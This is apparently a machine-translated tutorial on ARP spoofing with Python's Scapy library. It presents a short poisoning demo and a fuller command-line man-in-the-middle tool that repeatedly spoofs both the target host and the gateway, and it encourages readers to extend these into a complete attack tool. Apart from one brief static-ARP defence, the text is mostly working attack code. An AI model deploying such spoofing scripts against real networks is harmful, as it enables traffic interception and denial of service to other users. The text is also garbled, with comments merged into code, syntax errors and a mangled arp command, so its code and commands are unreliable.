Scapy is a powerful interactive packet handler written in Python that can be used to send, sniff, parse and falsify network packets. Scapy is often used in network attacks and testing.

The installation of SCAPy is convenient on Linux, but complicated on Windows.

The following assumes that the reader is using an Ubuntu Linux and Python 3 environment.

The installation of SCAPy is very convenient under Linux. To complete the installation, run the following command from the terminal:

sudo pip3 install scapy-python3Copy the code

The following is a very simple ARP attack demonstration script. This script can help you understand the function and principle of ARP protocol in the experimental environment. Of course, you can even expand the script to write a complete ARP attack tool.

#! /usr/bin/python3
# -*- coding: utf-8 -*-
ARP attack demo script/arpdemo.py


from scapy.all import (
    Ether,
    ARP,
    sendp
)
# Notice some of the methods here
# Ether is used to build Ethernet packets
ARP is the class that builds ARP packets
The # sendp method sends packets at layer 2

# Ether is used to build Ethernet packets
eth = Ether()
arp = ARP(
    # indicates ARP request or response
    op="is-at".Mac address of sender/Mac in poison record
    hwsrc="08:00:27:97:d1:f5".Sender IP address/IP in poison record
    psrc="192.168.31.1".Target Mac address/spoofed host Mac address
    hwdst="2C:56:DC:D3:AB:DB".Destination IP address/spoofed host IP address
    pdst="192.168.31.248"

    192.168.31.100: MAC address 08:00:27:97:d1:f5
    The IP address and MAC address of the destination host are broadcast by default
)
# scapy overloads the "/" operator, which can be used to represent a combination of two protocol layers
Here we output the structure information of the packet
print((eth/arp).show())

Send the packet, and repeat the packet every 1 second
sendp(eth/arp, inter=2, loop=1)Copy the code

Let’s take a look at the ARP cache on the host before the attack

arp -aCopy the code




Arp cache records before the attack

Execute the script:

sudo python3 arpDemo.pyCopy the code




Arp cache records after the attack

Here we tamper with the gateway record of the host, and the host cannot access the Internet normally after executing the attack script.

If you want to defend against this attack, you can simply write the IP and MAC address binding into the ARP cache. On Windows you can do this with the arp command, and on Linux it is similar.

Add static entry arp-s192.16831.1.   64- 09- 80.- 04-aa-c3Copy the code

Here is an example of a more sophisticated man-in-the-middle attack script that you can further refine

#! /usr/bin/python3
# -*- coding: utf-8 -*-
ARP attack script

import argparse
import threading
import time

from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip


# Notice some of the methods here

# Ether is used to build Ethernet packets
ARP is the class that builds ARP packets
The # sendp method sends packets at layer 2
The # getMacByIP method is used to obtain a MAC address by IP
The # get_if_hwaddr method obtains the MAC address of the specified network adapter

def get_mac(tgt_ip):
    Call scapy's getMACByIP function to get the MAC address of the attack target IP. ' ' '
    tgt_mac = getmacbyip(tgt_ip)
    if tgt_mac is not None:
        return tgt_mac
    else:
        print("Failed to obtain MAC address of host with IP: %s, please check if destination IP is alive"%tgt_ip)


def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
    Src_mac: indicates the MAC address of the target computer. Acts as a middleman. Tgt_mac: indicates the MAC address of the target computer. Gateway_ip: indicates the IP address of the gateway. Form ARP attack tgt_ip: IP of the target computer op= IS-AT, indicating ARP response ""
    eth = Ether(src=src_mac, dst=tgt_mac)
    arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
    pkt = eth / arp
    return pkt

def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
    Src_mac: the MAC address of the local computer, acting as a middleman gateway_mac: the MAC address of the gateway tgt_ip: the IP address of the target computer, directing the data sent from the gateway to the target computer to the local computer (middleman). Gateway_ip: indicates the IP address of the gateway op= IS-at, indicating an ARP response.
    eth = Ether(src=src_mac, dst=gateway_mac)
    arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
    pkt = eth / arp
    return pkt


def main(a):
    """ Master method """
    description = "ARP Attack script"
    parser = argparse.ArgumentParser(description=description)

    parser.add_argument('-sm', dest='srcmac', type=str, help='Sending the MAC of the source computer, if not provided, the local MAC address will be used by default.')
    parser.add_argument('-t', dest='targetip', type=str, help='Specify target computer IP', required=True)
    parser.add_argument('-tm', dest='targetmac', type=str, help='Specify the MAC address of the target computer. If not provided, the MAC address is obtained based on its IP address by default.')
    parser.add_argument('-g', dest='gatewayip', type=str, help='Specify gateway IP', required=True)
    parser.add_argument('-gm', dest='gatewaymac', type=str, help='Specify a gateway MAC address. If not provided, the default MAC address is obtained based on its IP address.')
    parser.add_argument('-i', dest='interface', type=str, help='Specify the network card to use', required=True)
    parser.add_argument('-a', dest='allarp', action='store_true', help='Whether to perform network-wide ARP spoofing')

    args = parser.parse_args()

    tgt_ip = args.targetip
    gateway_ip = args.gatewayip
    interface = args.interface

    srcmac = args.srcmac
    targetmac = args.targetmac
    gatewaymac = args.gatewaymac

    if tgt_ip is None or gateway_ip is None or interface is None:
        print(parser.print_help())
        exit(0)

    src_mac = srcmac
    if src_mac is None:
        src_mac = get_if_hwaddr(interface)

    print('The local MAC address is:', src_mac)
    print("The target computer IP address is:", tgt_ip)

    tgt_mac = targetmac
    if tgt_mac is None:
        tgt_mac = get_mac(tgt_ip)

    print("The target computer MAC address is:", tgt_mac)
    print("Gateway IP address is:", gateway_ip)

    gateway_mac = gatewaymac
    if gateway_mac is None:
        gateway_mac = get_mac(gateway_ip)

    print("Gateway MAC address is:", gateway_mac)

    input('Press any key to continue:')

    pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
    pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)

    The following statement would make it easier to send a loop using sendp instead of multithreading and endless loops.
    # sendp(pkt_station, inter=1, loop=1)
    # sendp(pkt_gateway, inter=1, loop=1)

    i = 1
    while True:
        t = threading.Thread(
            target=sendp,
            args=(pkt_station,),
            kwargs={'inter':1.'iface':interface}
        )
        t.start()
        t.join()
        print(str(i) + "[*] Sends a computer ARP spoofing packet")

        s = threading.Thread(
            target=sendp,
            args=(pkt_gateway,),
            kwargs={'inter':1.'iface':interface}
        )
        s.start()
        s.join()

        print(str(i) + "[*] Sends a gateway ARP spoofing packet")
        i += 1
        time.sleep(1)

if __name__ == '__main__':
    main()Copy the code